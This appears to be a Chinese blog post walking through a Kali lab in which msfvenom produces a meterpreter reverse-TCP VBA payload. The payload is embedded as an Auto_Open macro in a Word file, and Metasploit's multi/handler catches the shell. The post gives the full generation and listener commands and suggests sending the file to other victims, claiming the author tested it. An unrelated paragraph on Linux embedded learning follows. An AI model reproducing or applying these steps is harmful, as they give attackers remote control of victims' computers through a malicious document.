Kali渗透测试:使用Word宏病毒进行渗透攻击

Kali渗透测试:使用宏病毒进行渗透攻击

VBA是基于Visual Basic发展而来的,与Visual Basic具有相似的语言结构。使用VBA可以完成很多事情,基于Excel、Word的VBA小程序不计其数。宏病毒在Word中引入宏之后出现的。目前Office 是较为流行的编辑软件,并且跨越了多种操作系统,宏病毒利用这一点得到了大范围的传播。

构造一个包含宏病毒的Word文件也并不复杂,只要编写一个Auto_Open函数,就可自动引发病毒。 在Word打开这个文件时, 宏病毒会执行, 然后感染其他文件或直接删除其他文件等。Word宏和其他样式存储在模版DOT文件中, 因此总是把Word文件转成模版,再将其存储为宏。

实 验 环 境

攻击机:Linux kali 5.10.0 IP: 192.168.68.125

靶机:IE11-Win81

操 作 步 骤

1. 使用msfvenom生成VBA被控端

在Kali Linux中使用msfvenom命令生成一个VBA类型的被控端,输入如下命令:

┌──(root💀kali)-[~]
└─# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.68.125 LPORT=4444 -e x86/shikata_ga_nai -f vba-exe

该被控端可以分为两个部分。第一个部分是包括Auto_Open在内的几个函数,如下图所示:

第二部分是一些字符形式的攻击载荷,如下图所示:

2. 使用Word制作宏文件

使用Word将上图所示 两个部分制作成可以使用的宏文件。进入装有Office的Windows系统的靶机,然后打开Word(本人使用的是2007版),单击“开发工具”,接着在工具栏单击“宏”,就会弹出一个“宏”对话框,如下图所示:

起一个宏名,然后单击“创建”按钮,打开宏编辑界面,将我们在Kali 中生成的第一部分,也就是包括Auto_Open在内的几个函数复制到Normal-NewMacros中,覆盖原来的内容。如下图所示:

然后在工具栏上单击编辑图标,返回到Word操作界面,如下图所示:

在Word操作界面中,粘贴在KaliLinux中生成的第二部分,也就是字符形式的攻击载荷部分,如下图所示:

完成之后,将该木马文件保存,如下图所示:

3. 在Kali中启动metasploit

进入metasploit,启动和设置payload并执行,命令如下:

msf6 > use exploit/multi/handler
.....
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
.....
msf6 exploit(multi/handler) > set lhost 192.168.68.125
.....
msf6 exploit(multi/handler) > set lport 4444
.....
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.68.125:4444

4. 执行宏病毒文件

现在在靶机Win8中直接双击桌面上这个生成的木马文件(上图红框所示),在Kali中可以看到获得控制权限。如下图所示:

在会话界面,执行pwd命令,dir命令 ,结果如下图所示:

如果把宏病毒文件发给其他受害者,当受害者打开这个文件,里面的恶意HTA文件就会执行。在Kali中同样会得到控制权。在此不再赘述,本人已经亲测有效。

  • 6
    点赞
  • 59
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 4
    评论
Linux嵌入式学习文档是专门针对学习Linux在嵌入式系统中应用的教材或指南。随着嵌入式系统的广泛应用,对于掌握Linux在嵌入式领域的应用和开发技术已经成为了一种必备的能力。 在这些学习文档中,通常会包含Linux内核的概念和基本原理,如进程,内存管理,文件系统等。此外,还会介绍如何将Linux系统成功地移植到嵌入式设备上,包括底层硬件驱动的开发和调试等。还会介绍如何使用Linux在嵌入式系统中进行应用开发,包括编程语言和工具链的使用,以及如何进行调试和测试。 这些学习文档通常会根据不同的读者需求和技术水平进行分类,有从基础入门到高级进阶的教材。对于初学者来说,会提供详尽的步骤和示例,帮助他们逐步理解Linux嵌入式开发的基本概念和操作。而对于有一定经验的开发者来说,这些文档将会提供更高级的技术和实践案例,以便他们更好地应用到实际工程中。 同时,这些学习文档还会根据不同的应用领域进行分类和专门设置。比如嵌入式图像处理或物联网等,会提供相关的文档和教程,帮助读者理解和掌握这些特定领域的Linux嵌入式开发技术。 总之,Linux嵌入式学习文档是学习和掌握Linux在嵌入式系统中应用和开发所必不可少的资源。学习者可以通过这些文档深入了解Linux嵌入式开发的原理和技术,从而更好地应用于实际项目中。
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Bruce_Liuxiaowei

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值